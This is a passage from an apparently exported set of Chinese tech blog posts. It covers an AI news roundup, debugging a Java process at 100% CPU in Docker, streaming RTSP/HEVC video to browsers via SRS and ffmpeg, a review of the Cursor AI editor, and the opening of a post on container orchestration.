中的表现优于 Devin。\nTurboEdit 推出文本图像编辑工具：一款新的基于文本的图像编辑工具 TurboEdit，允许使用基于编码器的迭代反演技术进行精确且解耦的图像编辑。\n七、AI 技术与社会影响\nAI 助力古代史诗《吉尔伽美什》重建：AI 技术协助重建了破碎的《吉尔伽美什》史诗，加速了这一古老文本的恢复过程。\nxGen-MM（BLIP-3）：开放的大型多模态模型框架：介绍了 xGen-MM（BLIP-3），这是一个用于开发大型多模态模型（LMMs）的框架，旨在推进该领域的研究。\nImagen 3：高质量文本生成图像模型：Imagen 3，这是一个从文本提示生成高质量图像的潜在扩散模型，注重责任和最小化潜在伤害。\nDEI 框架下的软件工程代理多样性：通过 DEI 框架利用多样化的软件工程代理的专业知识，显著提高了问题解决能力。\n图表示法提升 LLMs 规划能力：大型语言模型（LLMs）在图表示法的提示下显示出规划任务的潜力，但在复杂场景和分布外示例中仍面临挑战。\nSAM2-UNet：自然和医学图像分割的强大编码器：SAM2-UNet 是一个用于自然和医学图像分割的强大编码器，因其开放性、社区性、卓越性和用户数据隐私而受到欢迎。\nAI 与隐私保护工具的重要性：随着组织和个体拥抱开放性、社区性、卓越性和用户数据隐私的价值观，AI 和隐私保护工具对于区分真实在线身份至关重要。\nJPEG-LM：使用规范编解码器表示的 LLMs 图像生成器：本文提出了一种直接将图像和视频建模为压缩文件的方法，使用 JPEG 等规范编解码器表示，展示了其在图像生成方面相对于基于像素的建模和矢量量化基线的有效性。\n以上就是上周 AI 领域的最新动态和趋势。从 X 公司的 Grok 2 和 Flux 图像生成，到谷歌 Gemini 实时聊天模式的亮相，再到 Midjourney 面临的版权诉讼，以及多项 AI 创新成果的发布，都展示了 AI 在不同领域的应用潜力和发展前景。同时，我们也应关注 AI 技术带来的伦理和政策挑战，共同推动这一领域的健康发展。\n","date":"2024-08-25T10:38:24Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-08-25-shang-zhou-ai-da-shi-jian-x-gong-si-tui-chu-grok-2-flux-tu-x/cover.jpg","permalink":"/p/2024-08-25-shang-zhou-ai-da-shi-jian-x-gong-si-tui-chu-grok-2-flux-tu-x/","title":"上周 AI 大事件：X 公司推出 Grok 2，Flux 图像生成，Gemini 实时聊天，Midjourney 诉讼风波"},{"content":"起因 上午有小伙伴说某个 java 服务响应特别慢，看了一下监控，很多请求都超时了，服务是活着的，但响应非常慢。\n由于服务是多容器负载均衡调度部署的，又花了一点时间定位到具体的宿主机。仔细查下来发现，并不是部署该服务的所有容器都有问题，仅仅是某一个有问题。\n具体的问题是某 java 进程的 cpu 占用率 打满了，是 100% 。\n这里要跟大家说的是，如果某关键服务的所有副本全部出问题了，那么第一时间并不是揪着问题不放，跟那儿使劲查。而是先尝试恢复服务，如果系统在架构上的弹性和容错做的比较好，可能不会造成 “雪崩”，导致全系统异常，无法使用。但是注意，我说的是“关键服务”，就算你隔离、熔断做的再好，关键服务不能用了，整个系统还是不能用，对用户来说就是 “挂了” ，比如你出地铁想扫个共享单车，扫码没问题，但就是开不了锁（开锁服务出问题了）。\n对于我们今天遇到的问题来说，还好，没那么严重，观察下来只是某服务的某副本出了问题。这里我根据系统的具体情况和观察到的情况做了个决定：先不回滚服务，一边观察一边收集事故现场信息，同时让一位同事准备好，如果事故进一步恶化就立刻回滚。\n其实就算 “回滚” 也是有问题的，因为如果要考虑周全的话，仔细一想就会有一些问题，比如：\n回滚单个服务，看起来可行，但实际上问题多多，因为一般情况下，一次 “上线”，会涉及很多服务，相关的上下游都可能会有所牵涉，你如果只单单的回滚了出问题的那个服务 ，其他相关服务可还在最新状态呢，到时候又会引发新的问题。除非你对这个服务了如指掌，非常清楚迭代的内容，也能够判断出回滚的影响可控，否则只回滚单个服务，在大型分布式系统中是有风险的。 版本回滚，这也是一些公司的常规做法。尤其是出了比较严重的问题，那么一次上线的全部内容都要完整地回滚，而不仅仅是回滚出问题的那个服务。但这也比较麻烦，因为首先 “全部回滚” 的时长可能比较长，时间一长对用户的影响就比较大。另外，回滚后还要处理从上线到回滚完成这段时间以来产生的 “脏数据”。总之复杂度高了，要考虑的问题也多。 好了，关于回滚，我这里就点到为指。总而言之，还是要根据你系统的具体情况来决定。谨慎、灵活地处置。\n问题解决过程 上文我说问题只要服务的某个副本上出了问题，你可能会觉得不对，代码都一样的，怎么可能就只有一个副本有问题呢？\n所以先解释下原因，最后事故处理完我们分析代码发现，原来是某个特殊的用户在某个特殊的条件下触下了某个 bug。那部分代码确实只会在这么特殊的条件下才会运行，而且这个动作的执行频率相当低。所以就是这么巧。\n我们进入正题，首先在宿主机上看到某 java 进程的 CPU 占用率是 100% 。由于我们所有的 java 进程全部是 docker 容器启动的，所以要找到具体是宿主机的哪个 docker 容器，这里我用了这个命令：\ndocker ps -q | xargs docker inspect --format '{{.State.Pid}}, {{.Id}}' | grep 2880 假设在宿主机上的这个 java 进程的 pid 为 2880。这行命令就是找出 pid 对应的具体是哪个 docker 容器。详解说明一下：\ndocker ps 是用来列出当前运行中的 Docker 容器的命令。-q 选项告诉 docker ps 仅输出每个容器的 ID，而不是完整的容器信息列表。 |（管道操作符）：管道操作符用于将前一个命令的输出作为下一个命令的输入。这里，它将 docker ps -q 命令输出的容器 ID 列表传递给下一个命令。 xargs docker inspect --format '{{.State.Pid}}, {{.Id}}'：xargs 是一个将输入数据转换为其他命令行参数的工具。在这里，它将 docker ps -q 输出的容器 ID 列表转换为 docker inspect 命令的参数。 docker inspect 是用于获取有关 Docker 容器的详细信息的命令。--format '{{.State.Pid}}, {{.Id}}' 是一个格式化选项，它指定了 docker inspect 命令的输出格式。这里使用了 Go 模板语法来指定只输出每个容器的进程 ID（PID）和容器 ID。 |（管道操作符）：再次使用管道操作符，将 docker inspect 命令的输出传递给下一个命令。 grep 2880：grep 是一个文本搜索工具，用于搜索包含特定模式的字符串。2880 是要搜索的字符串，代表一个进程 ID（PID）。这个命令会从输入中筛选出包含数字 2880 的行。 将所有部分结合起来，这行命令的作用是：首先，列出所有运行中的 Docker 容器的 ID。然后，对每个容器 ID 执行 docker inspect，以获取每个容器的 PID 和 ID，并以特定格式输出。最后，从这些输出中筛选出 PID 为 2880 的容器，并显示其 PID 和 ID\n到这里我们知道了具体是哪个容器，然后进入到该容器中，查看了一下 cpu 的使用情况，确实很高，接着使用以下命令导出 java 进程的线程堆栈\njstack -l 1 \u0026gt; jstack.log java 进程的 pid 为 1 ，所以上面命令中 1 就是 java 进程的进程 pid\n分析 threadDump 用 jstack 命令导出 java 进程的线程堆栈快照后就可以进行分析了。\n这里我们使用在线的工具网站来分析：https://fastthread.io/\n我个人觉得是最好用的一个。你可能会问有没有本地的好用的工具。我找了一圈，有是有，但很一般，还不如人家这个在线网站呢。\n接着我们反 jstack.log 打个包上传上去。很快就会得到分析结果，会出一个关于这个 Thread Dump 的全方面分析报告，方便你定位相关问题。\n如果有异常会有红号感叹号提示。\n除了人家提示的明显异常，我一般重点会看有没有死锁，以及哪些线程占用的 CPU 较高：\n剩下的就凭借你对系统的了解和经验作出判断了。\n具体到我们的情况，我们分析了占 CPU 最高的两个线程，全部跟我们自己写的代码有关。具体来说有一个线程的代码执行的是一个递归操作。出问题的就是这部分代码。\n找到原因后，很快我们就修复了 bug。\n最后 要说简单也简单，如果你的思路是对的，整个处理过程不超过 3 分钟。但如果你的思路有问题，找到问题的时间就可能会无限长。\n","date":"2024-08-22T08:04:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-08-22-san-fen-zhong-jie-jue-java-jin-cheng-cpu-100-wen-ti/cover.jpg","permalink":"/p/2024-08-22-san-fen-zhong-jie-jue-java-jin-cheng-cpu-100-wen-ti/","title":"三分钟解决 Java 进程 cpu 100% 问题"},{"content":"起因 最近接入了一个三方的 API，对方提供的数据中有视频链接，是实时流视频，最开始的时候是 http 协议的，我一看 http 应该没问题，在本机的视频播放器 IINA 上试了一下能播，又在前端写了个 demo，浏览器也能播放，没什么问题。这个地址的后缀是 .flv\n后来数据中出现了 rtsp 协议的地址。最开始没当回事儿，在 IINA 上试了一下可以播就去忙别的了，后来负责开发的小伙伴反馈这玩意在浏览器播不了，这才引起了重视。\n经过 经过一番研究，果然，rtsp 协议的视频地址是无法直接在浏览器播放的。需要我们自己处理。经过与三方 API 厂商沟通无果后，我们只能硬着头皮自己处理了。虽然最后圆满解决了，但我们也不得不说自己的经验不足，如果一开始我们就确定的知道 rtsp 协议无法直接在浏览器播放，那么我们和 三方 API 对接时候的策略和态度就会完全不一样。在系统解决方案设计时也会完全不一样。现在这个时间点，我们是很被动的。\n无论如何，我们是要解决它的。我们研究了一下发现，要将 rtsp 协议的视频做一个协议转换，然后将转换后的实时视频流推到流视频服务器，播放时，浏览器从这个流视频服务器拉流播放。\n架构上还是比较简单的，于是我们开始搭建实时视频流服务器。\n流视频服务器 查阅了一些资料后发现用 Nginx 配合一些模块可以解决问题。于是找到了 nginx-rtmp-module https://github.com/arut/nginx-rtmp-module\n“\nNGINX-based Media Streaming Server\n原理上是基于 NGINX 做的流视频服务器，把 rtsp 协议的视频转成 rtmp，然后再拉流播放。\n它的功能其实也不少：\n本来想直接做个 demo 搞一下，不过在查阅资料的时候发现了这个模块：nginx-http-flv-module https://github.com/winshining/nginx-http-flv-module\n看了一下功能对比和一些测评，嗯，没有理由不用更好的，你说是吧。于是就开始使用 nginx-http-flv-module 来做 demo\nnginx-http-flv-module 是用源码编译安装的，安装过程也不复杂，大家随便搜一搜就能找到教程，我这里就不废话了。安装完成后就可以参考 nginx-http-flv-module 的文档搭建 demo 了。\nffmpeg 推流 所谓推流，还要用到 ffmpeg ，这个强大的软件我也不用过多介绍，很多视频、音频、图像的处理都可以用到它，强大极了，参数也复杂极了。不过我们本文用到的不复杂：\n1ffmpeg -re -rtsp_transport tcp -i \u0026#34;rtsp://原视频 IP: 端口/live/heihe\u0026#34; -c:v copy -an -f flv \u0026#34;rtmp://127.0.0.1/myapp/livetest\u0026#34; 在执行这个命令之前需要我们在本地安装好 nginx 以及相应的 nginx-http-flv-module模块 和 ffmpeg(ffmpeg 的安装也不赘述了，教程也很多，随便一搜就能搞定）\n全部安装好以后启动 Nginx，然后就可以执行上面的命令推流了。\n解释下上面的命令，这条命令使用 ffmpeg，从一个 RTSP 流中读取视频，并将其以 FLV 格式推送到一个 RTMP 流。下面是每个参数的解释：\nffmpeg：这是命令本身，调用 FFmpeg 应用程序。 -re：表示“real-time”，这个选项告诉 FFmpeg 以与源相同的速率读取输入，模拟实时流。 -rtsp_transport tcp：指定使用 TCP 协议来传输 RTSP 流。RTSP 流可以使用 UDP 或 TCP，此选项强制使用 TCP。 -i \u0026quot;rtsp://原视频 IP: 端口/live/heihe\u0026quot;：这是输入选项，指定了 RTSP 流的 URL。这个 URL 指向一个特定的视频流。 -c:v copy：指定视频编码器为“copy”，这意味着视频流将不会被重新编码，而是直接复制到输出流中。 -an：这个选项表示“no audio”，告诉 FFmpeg 不要处理音频流，即输出中不包括音频。 -f flv：指定输出格式为 FLV（Flash Video）。FLV 是一种常用于流媒体传输的视频格式。 \u0026quot;rtmp://127.0.0.1/myapp/livetest\u0026quot;：这是输出选项，指定了 RTMP 流的 URL。在这个例子中，流被推送到本地主机的myapp应用下的livetest流。 这条命令的作用是从一个 RTSP 流中读取视频（不包括音频），并以实时的方式将其以 FLV 格式推送到一个 RTMP 服务器。这是流媒体传输中的一个常见用法，例如将监控摄像头或直播视频从 RTSP 源转发到 RTMP 流媒体服务器。\n拉流 到这里活儿就干了一半了，剩下的就是如何在浏览器拉流播放，so easy, 根据 nginx-http-flv-module 的文档写个 html 页面就可以测试了\n1\u0026lt;!DOCTYPE html\u0026gt; 2\u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; 3\u0026lt;head\u0026gt; 4 \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; 5 \u0026lt;title\u0026gt;Video Player\u0026lt;/title\u0026gt; 6 \u0026lt;script src=\u0026#34;https://cdn.jsdelivr.net/npm/flv.js/dist/flv.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 7\u0026lt;/head\u0026gt; 8\u0026lt;body\u0026gt; 9 \u0026lt;video id=\u0026#34;videoElement\u0026#34; controls width=\u0026#34;640\u0026#34; height=\u0026#34;360\u0026#34;\u0026gt;\u0026lt;/video\u0026gt; 10 \u0026lt;script\u0026gt; 11 12 if (flvjs.isSupported()) { 13 var videoElement = document.getElementById(\u0026#39;videoElement\u0026#39;); 14 var flvPlayer = flvjs.createPlayer({ 15 type: \u0026#39;flv\u0026#39;, 16 url: \u0026#39;http://localhost:8080/live?app=myapp\u0026amp;stream=livetest\u0026#39; 17 }); 18 19 flvPlayer.attachMediaElement(videoElement); 20 flvPlayer.load(); 21 flvPlayer.play(); 22 23 24 } 25 \u0026lt;/script\u0026gt; 26\u0026lt;/body\u0026gt; 27\u0026lt;/html\u0026gt; 问题 本来以为到这里就结束了，因为测试也没发现什么毛病，部署到测试环境也是 OK 的。然而还是出问题了。\n我们拿到的 rtsp 流视频源里有的是 h264 编码的，而有的是 h265 编码的。264 的没问题，而 265 的是播不出来的。\n同样在跟三方沟通无果后，我们也得自己解决这个问题。首先看了一下前端使用的 flv.js ，没错它不支持 HEVC(h265)，没事儿，好在 mpegts.js 支持\n但重点不在这里，而是充当流媒体服务器的 nginx-http-flv-module 也不支持 H265。\n好吧，之前的 demo 白写了，人家不支持。于是又要重新设计方案，找替代品。好在市面上流媒体服务器的项目很多，我们找到了一个相对不错的项目 SRS https://ossrs.io/lts/zh-cn/\nsrs 的安装部署非常简单，参照文档可以很容易的搭建起来。但是注意，安装时候，源码选择上尽量使用 release 版本 ，develop 版本的源码有 bug 的可能性很高。\n我没有使用 docker 安装，它是支持 docker 安装的。\nsrs 安装好以后，接下来就是推流和拉流了，推流仍然使用 ffmpeg 命令 ，参考 srs 的文档，地址稍微改一改就可以，推流完成后，srs 还有一个管理页面可以进行播放的测试，简直太贴心了。默认地址是：http://localhost:8080/ （srs 内置了一个 http server ）\n可以看到，它还十分贴心的告诉你建议使用什么前端组件来播放什么协议的视频。\n前端 前端页面是最简单的，我写了一个 demo：\n1\u0026lt;!DOCTYPE html\u0026gt; 2\u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; 3\u0026lt;head\u0026gt; 4 \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; 5 \u0026lt;title\u0026gt;Video Player\u0026lt;/title\u0026gt; 6 \u0026lt;script src=\u0026#34;./mpegts.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 7\u0026lt;/head\u0026gt; 8\u0026lt;body\u0026gt; 9 \u0026lt;video id=\u0026#34;videoElement\u0026#34; controls width=\u0026#34;640\u0026#34; height=\u0026#34;360\u0026#34;\u0026gt;\u0026lt;/video\u0026gt; 10 11 \u0026lt;video id=\u0026#34;videoElement2\u0026#34; controls width=\u0026#34;640\u0026#34; height=\u0026#34;360\u0026#34;\u0026gt;\u0026lt;/video\u0026gt; 12 \u0026lt;script\u0026gt; 13 14 if (mpegts.isSupported()) { 15 var videoElement = document.getElementById(\u0026#39;videoElement\u0026#39;); 16 var flvPlayer = mpegts.createPlayer({ 17 type: \u0026#39;flv\u0026#39;, 18 url: \u0026#39;http://localhost:8088/live/livestream3.flv\u0026#39; 19 }); 20 21 flvPlayer.attachMediaElement(videoElement); 22 flvPlayer.load(); 23 flvPlayer.play(); 24 25 } 26 \u0026lt;/script\u0026gt; 27\u0026lt;/body\u0026gt; 28\u0026lt;/html\u0026gt; 最后 ffmpeg 命令在我们的系统中是要由程序来控制执行的，我们在原有 java 程序中改了一下，添加了控制 ffmpeg 命令启动的程序，后来又改成执行一个 shell 脚本，因为我想在脚本中添加一点逻辑，比如 srs 如果没启动就把它启动起来，具体可以参考：\n1#!/bin/bash 2 3# 检查参数数量是否正确 4if [ \u0026#34;$#\u0026#34; -ne 2 ]; then 5 echo \u0026#34;用法：$0 \u0026lt;RTSP_URL\u0026gt; \u0026lt;RTMP_URL\u0026gt;\u0026#34; 6 echo \u0026#34;示例：$0 rtsp://123.456.543.212:873/live/aabbcc rtmp://localhost/live/aabbcc\u0026#34; 7 exit 1 8fi 9 10# 获取输入参数 11RTSP_URL=$1 12RTMP_URL=$2 13 14# 定义要检查的进程命令 15FFMPEG_PROCESS_CMD=\u0026#34;ffmpeg -re -rtsp_transport tcp -i $RTSP_URL -c:v copy -an -f flv $RTMP_URL\u0026#34; 16SRS_PROCESS_CMD=\u0026#34;./objs/srs -c conf/srs.conf\u0026#34; 17SRS_DIR=\u0026#34;/usr/srs/srs-server-6.0-a0/trunk\u0026#34; 18 19# 使用 ps 和 grep 检查进程是否存在 20check_process() { 21 if ps aux | grep -v grep | grep \u0026#34;$1\u0026#34; \u0026gt; /dev/null 2\u0026gt;\u0026amp;1; then 22 return 0 23 else 24 return 1 25 fi 26} 27 28# 检查并启动 SRS 进程 29if check_process \u0026#34;$SRS_PROCESS_CMD\u0026#34;; then 30 echo \u0026#34;SRS 进程已存在，无需启动新进程。\u0026#34; 31else 32 echo \u0026#34;SRS 进程不存在，正在启动新进程。..\u0026#34; 33 cd $SRS_DIR 34 $SRS_PROCESS_CMD \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 \u0026amp; 35 sleep 2 36fi 37 38# 检查并启动 ffmpeg 进程 39if check_process \u0026#34;$FFMPEG_PROCESS_CMD\u0026#34;; then 40 echo \u0026#34;ffmpeg 进程已存在，无需启动新进程。\u0026#34; 41else 42 echo \u0026#34;ffmpeg 进程不存在，正在启动新进程。..\u0026#34; 43 $FFMPEG_PROCESS_CMD \u0026gt; /dev/null 2\u0026gt;\u0026amp;1 \u0026amp; 44fi 总的来说，SRS 是很强大的，它能干的事情不止我们这个在浏览器播放 RTSP 协议视频这么简单，而且它的性能也很强。👍 （官方文档介绍比 nginx的方案强一倍）\n","date":"2024-08-18T10:44:54Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-08-18-liu-lan-qi-ru-he-bo-fang-rtsp-xie-yi-de-hevc-shi-pin/cover.jpg","permalink":"/p/2024-08-18-liu-lan-qi-ru-he-bo-fang-rtsp-xie-yi-de-hevc-shi-pin/","title":"浏览器如何播放 RTSP 协议的 HEVC 视频"},{"content":"https://www.cursor.com/\n起初 最开始接触 cursor 的时候是在去年年初，openAI ChatGPT 带火了一批 AI 概念产品。GitHub 的 Copilot 自不用说，很早就在使用，有了大模型的加持当时也是如日中天。我记得 cursor 当时主打的点是：\n可以无逢迁移 vscode ，vscode 的所有插件可以直接一键转移到 cursor。连界面都一模一样\n轻巧、快速。体量小，启动快，编程效率高\n可用免费的 AI 模型进行提示。\n当时体验下来发现也确实如宣传所说，是挺快，但是没有那么强的吸引力让我愿意换 vscode 和 idea 。我使用最多的还是 vscode+idea+copilot+chatgpt 。基本上满足我日常开发的需求了。当然后来又加上了 warp\n现在 最近我又体验了一下 cursor ，发现它和原来的版本有很大的不同。而这一次，彻底改变了对它的看法。目前我已将编程工具切换到了 cursor，很心甘情愿的切换了过去。\n原理 先说最重要的，一切事情有困就有果，有果就有因，cursor 好用的功能有很多，但最重要的我认为只有一个。关于这个功能，我要说明一下它的原理。\n其实市面上的 AI 编程助手类工具不止一个，比较好用的有:\ngithub 的 copilot 字节豆包的 marscode 阿里的 通义灵码 大家都知道，这些工具背后是各家的 LLM ,提示质量的高低主要取决于这些大模型的能力。而所有的工具都只是基于当前文件的。无论是代码解释、优化、生成注释，都是基于当前文件的内容，无论是针对文件、类、方法。你对代码提问的 codeBase 是单文件，上下文自然也是当前打开的这个单文件。\n这就是现在的这些 AI 编程工具的运行逻辑，从当前文件中获得代码的上下文再结合你的提问（prompt）,一起发给 LLM，最后得到结果。其实这已经能解决不少问题了，在没有 cursor 之前感觉很不错，写程序确实能提高效率。\n我们觉得上面那些工具很不错是因为我们没有用过更好的工具：\ncursor 的 codeBase 是整个工程 cursor 的 codeBase 是整个工程 cursor 的 codeBase 是整个工程 可能有的伙伴看到这几个字立刻就懂我是什么意思了，对，就是那个你越想越激动的事情。\ncursor 的逻辑是，先将工程内的所有代码进行索引和向量化（Embedding），再之后你的所有提问都是基于整个工程给你答案，它会将你的提问结合整个工程的代码一起提交给 LLM，默认有这些模型：\n注意这里不包含 deepseek-coder，那是我自己添加的。\n这很像基于 RAG 方法论的系统实现，只不过外挂的知识库是代码库而已。\n这就是我认为最重要的功能，我说清楚了它的逻辑，接下来我们来说基于这个功能能做什么，这才是最激动人心的部分\n能解决的问题 代码补全 之前工具的代码补全虽然使用了 LLM，但仍然不那么精准，因为它只能把当前文件作为上下文，而 cursor,它的 codeBase 是基于整个工程的，它的代码补全相当于是分析了你整个工程的代码基础之上给的建议，那是正当的精准啊。这也就是为什么有的朋友说，现在用 cursor 写程序一路 tab 下来就完事儿了，比自己写的还好。简直就是自动化编程。\n智能纠错 这代码你就放心写吧，如果你写着写着写错了，cursor 会在你输入的时候自动纠正你的错误\n它为啥能纠错，它怎么知道我写错了？对，还是 codeBase，你的整个工程它都了如指掌。\n聊天 太基础的功能了，然而因为 codebase，它就有了无限可能。首先，你可以在当前文件中针对某一部分来提问，比如你要重构一个方法什么的\n它会重构的比较好，因为它的 codebase 是整个工程。\n你也可以单独打开一个聊天窗口\n在这里提问可以仅针对当前文件、文件夹、图片、文档、网络或者整个 codebase\n最重要就是这个 Codebase 这是可以发挥无限想像的地方。\n由于篇幅的原因，我不会把所有的细节全部用图片或视频的形式放出来，因为太多了，但你看我的描述也一定能体会到 cursor 的强大，这里我举几个例子，这些例子我已经测试成功并且在工作中使用了，它很强，很实用：\n我是项目主要的开发者，我现在想针对某个功能进行重构，注意不是一个类，一个文件，而是整个功能的重构。我让 cursor 给出我具体的建议和修改的代码。它实现了，非常具体、清晰、详细、正确率高达 95 % 以上（claude 模型） 我有一个陈旧的项目，代码中几乎没有注释，也没有接口文档。我现在想从代码中分析出一份 api 接口文档，要包括地址、请求类型、请求和响应字段，以及示例 json。它也实现了，就是我想要的内容，100% 正确 我有一个小白同事，刚进项目组，对他要负责的功能模块完全不知道流程是什么，不巧的是整个项目也没有什么文档，需要他去看代码自己梳理。他让 cursor 帮他梳理出项目中有关 oauth2 认证、鉴权的完整流程。从第一个请求开始，到最后一个请求数据返回，包括所有相关的代码片段和执行路径。cursor 瞬间完成了，正确率 100% 我有一个测试同事，想写关于某个重要模块的测试用例及测试报告，cursor 基于整个项目的 codebase 帮他一步一步实现了。 我有个前端同事上传了一张别人设计的不错的界面的图片，他让 cursor 帮他根据他 vue2 项目的情况自动生成页面代码,cursor 瞬间完成了，和图片的相似度达到 85% 我有个大数据开发同事，他正在重构之前写的 SQL，他把建表语句告诉 cursor 后，让他把一批 sql文件根据他的要求进行了重构，cursor 很快就完成了。 我有个运维同事，他之前把所有运维的工作全部代码化了。在一个仓库里，现在基础设施有一些变动，他让 cursor 根据现有的运维脚本和代码进行重构，cursor 瞬间就完成了，正确率 90% 我还有个产品同事，现在不怎么用 Axure 画原型了，他说和 cursor 交流一下基础上就能出前端代码，跟前端学了点儿基础知识，原型几分钟就搞定了。 我有个朋友，现在想将 .net 项目转成 java，他原先估计要组一个团队至少 5 个后端一起干，现在他一个人正在一步一步地用 cursor 帮助他实现。 我还有个朋友。。。。。 我想你应该知道我想说什么了，我想你也知道 cursor 为什么足以让我兴奋了。而所有的这些原因，都是因为它最重要的原理，它的 codebase，它和其他产品不一样的逻辑。\ncursor 当然还有一些其他功能我没有介绍到，不过那都不重要，你已经知道了它的逻辑，它的核心原理和功能，剩下的就交给你了，交给你的想象力和创造力了。\n优点和缺点 以上的内容怎么看都是 cursor 的优点，然而在阅读的过程中你一定想到它还有许多令人担心的问题，没错。首先就是数据安全。虽然 cursor 官方宣称数据是保存在本地的，不会被上传，但是我知道你一定担心。这是个有意思的问题，因为关于这一点无论对方如何承诺你都不会轻信，隐私和方便它永远是问题的两端，我们不可能全都要，所以要做个取舍。\n然后就是价格，cursor 前两周是免费使用的，然后再用就要收费了，怎么收费呢？\n我说一下重点，如果你使用 cursor 是包含两部分费用的，一部分是软件的费用，这部分比如一个月 20$ 是付给 cursor 的，另一部分是模型的使用费用，这个是你付给像 openAI 这样的模型提供商的。那么加起来可能一个月你至少有 30$ 以上的成本。不过关于模型这部分，因为 cursor 可以添加 deepseek 的 coder 模型，所以模型使用成本算是打下来了，因为 deepseek 模型的 API 是白菜价\n不但是白菜价，首次注册人家还送 500万 tokens\n总结来说，除了优点都是缺点，包括：\n成本不低 数据安全 这两点加起来对很多人来说就望而却步了，当然还要解决网络的问题。不过我觉得国内的公司一定不会坐以待毙，一定很快就会有类似的产品上线了，到时候网络就不是问题了。\n未来 正如我标题所写，因为看到了 cursor，这次我真的觉得程序员有危机了，尤其是对于初级的、新手程序员。因为我用工具虽然可能有一点点错误，但它可以瞬间完成一些基础的工作，完全可以替代人了，我不需要招那么多人来干那些 “脏活累活” ，我只需要几个高级并且会使用高级工具的人才就可以了，他们创造的人效是原来的 10 倍以上。\n再进一步，自动化编程可以期待了吗？也就是提一个描述得很清晰的需求给 AI，他能自动把程序写好，有公司正在做：https://www.cognition.ai/ 原先我觉得他在吹牛，现在，尤其是使用了 cursor 后，我觉得可能不远了。\n思考 我在最近几年思考了一个问题，很多企业没有业务知识库，就算是有，文档也不全，也不及时更新，这个所谓的企业内部的业务知识库也是名存实亡。那如果需要了解业务的时候怎么办？比如需要大版本更新，重大业务调整的时候，怎么办呢？找开发看代码是最准的了，然后这些辛苦的工作又 TMD 转到开发这儿来了。\n我想来想去，感觉没有什么非常好的解法。虽然可以用 RAG 来解决一部分的问题，但没有完全解决，因为只要文档不是最新的，文档有问题，一切基于知识库的分析全都是错的。直到 cursor 出现了，我觉得问题可以以另外一种方式来解决了。因为代码是准的，代码就是错那也是代码的 bug。但它是准的，代码写错了，也是准的。代码什么样线上就是什么样，业务就是什么样。\n那么整个企业的业务知识就已经在代码里了，只需要从代码仓库提炼就可以了，我们借助 cursor 或者以后什么其他类似的工具再加工一下就完全可以提炼出准确、实时、可用的企业业务知识了。而这个 “知识” 才是企业真正的业务资产。代码就算没了，根据业务重建都可以，反过来，如果你对业务不了解，给你代码也没用。\n","date":"2024-08-15T09:43:32Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-08-15-cursor-yi-ge-zhen-zheng-rang-cheng-xu-yuan-chan-sheng-wei-ji/cover.jpg","permalink":"/p/2024-08-15-cursor-yi-ge-zhen-zheng-rang-cheng-xu-yuan-chan-sheng-wei-ji/","title":"Cursor 一个真正让程序员产生危机感的 AI 编程工具"},{"content":"在现代应用部署中，Docker 和其他容器引擎为服务器端应用程序的部署提供了极大的便利。然而，随着应用和服务数量的增加，管理这些容器变得越来越困难。这催生了一类被称为容器编排器的工具，其中最为知名的莫过于 Kubernetes。容器编排的历史可以分为 Kubernetes 出现之前和之后两个阶段。\n容器的便利与妥协 容器的使用虽然便利，但也带来了一些妥协。严格遵循 Docker 的理念，每个服务都应有其独立的容器，这将导致运行大量的容器。即使是一个简单的数据库网页界面，也可能需要分别运行数据库服务器、应用程序，以及可能包括用于处理静态文件的 Web 服务器、用于终止 SSL/TLS 连接的代理服务器、用作缓存的键值存储，甚至用于处理后台作业和计划任务的第二个应用程序容器。\n负责多个此类应用程序的管理员很快就会意识到，需要一个工具来简化管理任务，这时容器编排工具应运而生。容器编排器可以将多个容器作为一个单元来管理，并将多个服务器结合成一个集群，自动分配容器工作负载到集群节点中。\nDocker Compose 与 Swarm Docker Compose 虽然不完全是一个编排器，但它是 Docker 首次尝试创建的工具，用于更轻松地管理由多个容器组成的应用程序。它使用 YAML 格式的文件，通常命名为docker-compose.yml。Compose 读取该文件，并使用 Docker API 创建所需的资源，同时为所有资源添加标签，以便在创建后作为一组进行管理。\nCompose 文件中可以定义三种资源：\n服务（services）： 包含要启动的容器声明。每个条目相当于一个docker run命令。 网络（networks）： 声明可以附加到容器的网络。每个条目相当于一个docker network create命令。 卷（volumes）： 定义可以附加到容器的命名卷。每个条目相当于一个docker volume create命令。 Compose 提供了一种更方便的方式来管理由多个容器组成的应用程序，但在其最初版本中，它仅支持单个主机；所有创建的容器都在同一台机器上运行。为了扩展到多个主机，Docker 在 2016 年引入了 Swarm 模式。这是 Docker 的第二个名为“Swarm”的产品，前一个产品于 2014 年推出，采用了完全不同的方法在多个主机上运行容器，但现在已不再维护。\nSwarm 模式包含在 Docker 中，无需额外的软件即可使用。创建集群只需在初始节点上运行docker swarm init，然后在每个其他节点上运行docker swarm join。Swarm 集群包含两种类型的节点：管理节点和工作节点。管理节点提供 API 以在集群上启动容器，并使用基于 Raft 一致性算法的协议进行通信，以在所有管理节点之间同步集群状态。工作节点则负责运行容器。\n通过 Compose 文件在 Swarm 上部署服务。Swarm 通过为每个服务添加一个deploy键扩展了 Compose 格式，该键指定服务应该运行的实例数量及其运行的节点。然而，这导致 Compose 和 Swarm 之间出现了一些分歧，某些选项如 CPU 和内存配额需要根据使用的工具以不同的方式指定。在此分歧期间，为 Swarm 准备的文件被称为“堆栈文件”而非 Compose 文件，幸好这些差异在当前版本的 Swarm 和 Compose 中已被平滑处理，Compose 格式现在有一个开放规范及其 GitHub 组织提供的参考实现。\n关于 Swarm 的未来存在一些不确定性。它曾经是名为 Docker Cloud 的服务的骨干，但该服务在 2018 年突然关闭。它还被宣传为 Docker 企业版的关键特性，但该产品已售予另一家公司，现以 Mirantis Kubernetes Engine 的名义进行市场推广。同时，最新版本的 Compose 已经获得了将容器部署到 Amazon 和 Microsoft 托管服务的能力。虽然没有宣布弃用，但最近也没有任何其他类型的公告；在 Docker 网站上搜索“Swarm”一词，仅能找到一些提及。\nKubernetes 